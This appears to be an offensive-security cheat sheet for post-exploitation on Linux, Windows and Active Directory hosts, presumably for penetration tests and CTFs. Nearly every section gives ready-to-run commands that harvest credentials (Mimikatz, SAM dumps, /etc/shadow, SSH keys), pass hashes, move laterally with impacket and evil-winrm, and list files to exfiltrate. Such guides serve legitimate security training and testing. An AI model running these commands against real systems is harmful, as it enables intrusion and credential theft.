Post Exploitation
Table of Contents
Structured workflow for actions after gaining initial shell access. Goal is to understand context, escalate privileges, establish persistence if required, and move laterally. Work through the sequence — do not jump straight to privesc without establishing situational awareness first.
Related: Reverse Shell Linux Privilege Escalation Windows Privilege Escalation Credentials Harvesting Pivoting Persistence File Transfers
1. Immediate — First 60 Seconds
Regardless of OS, do these before anything else:
# Who am I and what can I do? id && whoami # Where am I? hostname && pwd # What OS and version? uname -a # Linux systeminfo # Windows # What network can I see? ip a && ip route # Linux ipconfig /all && route print # Windows # Am I in a container? cat /proc/1/cgroup | grep docker # Linux — if output contains docker, yes ls /.dockerenv 2>/dev/null # presence = container
Stabilise the shell before doing anything else — a raw shell will drop if you hit Ctrl+C. See Reverse Shell for stabilisation steps.
2. Linux Post-Exploitation
Situational Awareness
cat /etc/passwd # local users cat /etc/hosts # internal hostnames ss -tlnp # listening services ps aux # running processes env # environment variables — credentials common here cat /etc/crontab # scheduled jobs find / -name "*.txt" -o \ -name "*.conf" -o \ -name "*.log" 2>/dev/null \ | xargs grep -l "password\|secret" 2>/dev/null
Privilege Escalation
See Linux Privilege Escalation for full methodology.
Quick order:
sudo -l— immediate win if any entry presentfind / -perm -4000 2>/dev/null→ GTFOBinsgetcap -r / 2>/dev/null— capabilities- Run LinPEAS
Credential Harvesting
See Credentials Harvesting for full methodology.
cat ~/.bash_history find / -name "id_rsa" 2>/dev/null grep -r "password" /var/www /opt /home 2>/dev/null cat /etc/shadow 2>/dev/null
Lateral Movement
# SSH with found key ssh -i id_rsa user@$INTERNAL_HOST # Check known_hosts for internal targets cat ~/.ssh/known_hosts # Reuse found credentials ssh user@$INTERNAL_HOST
Set up pivoting if internal subnets are visible. See Pivoting.
3. Windows Post-Exploitation
Situational Awareness
whoami /priv && whoami /groups # privileges and group memberships net user %USERNAME% # current user details net localgroup administrators # local admins net view # visible hosts on network tasklist /svc # running processes and services reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run # autorun type %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
Privilege Escalation
See Windows Privilege Escalation for full methodology.
Quick order:
whoami /priv— SeImpersonatePrivilege → Potato attackAlwaysInstallElevatedregistry check- Unquoted service paths
- Run WinPEAS
Credential Harvesting
See Credentials Harvesting for full methodology.
# Mimikatz .\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" # SAM dump reg save HKLM\SAM C:\Temp\SAM reg save HKLM\SYSTEM C:\Temp\SYSTEM # LaZagne .\LaZagne.exe all
Lateral Movement
# PsExec with credentials impacket-psexec domain/user:password@$TARGET # Pass the Hash impacket-psexec Administrator@$TARGET -hashes :NTLM_HASH evil-winrm -i $TARGET -u Administrator -H NTLM_HASH # WMI impacket-wmiexec domain/user:password@$TARGET # Check for accessible shares net view \\$TARGET impacket-smbclient domain/user:password@$TARGET
4. Active Directory — Additional Steps
If the foothold is domain-joined, run these after basic enumeration:
# From Windows foothold net user /domain # domain users net group "Domain Admins" /domain # DA members .\SharpHound.exe -c All --zipfilename out.zip # BloodHound collection # From Linux with credentials bloodhound-python -u user -p pass -ns $DC_IP -d domain.local -c all impacket-GetUserSPNs -dc-ip $DC_IP domain.local/user:pass # Kerberoastable
See BloodHound and Kerberoasting.
5. Data Exfiltration Targets
Common high-value files to look for before concluding:
# Linux /etc/shadow /root/.ssh/id_rsa /home/*/.ssh/id_rsa /var/www/html/.env /opt/*/config* # Windows C:\Windows\repair\SAM C:\Windows\System32\config\SAM C:\Users\*\AppData\Roaming\FileZilla\sitemanager.xml C:\inetpub\wwwroot\web.config C:\*\*.kdbx # KeePass databases
Tips
- Situational awareness first, always — knowing what you have before exploiting it prevents wasted effort
- Check
envandsetimmediately — credentials in environment variables are common in containerised apps and CTFs - On domain-joined Windows machines, run BloodHound collection as soon as you have a stable foothold — it can run while you do manual enumeration
- Document every credential found even if it does not immediately work — credential reuse across services is common
- Transfer tools before attempting privesc — having LinPEAS or WinPEAS ready saves time vs. downloading mid-engagement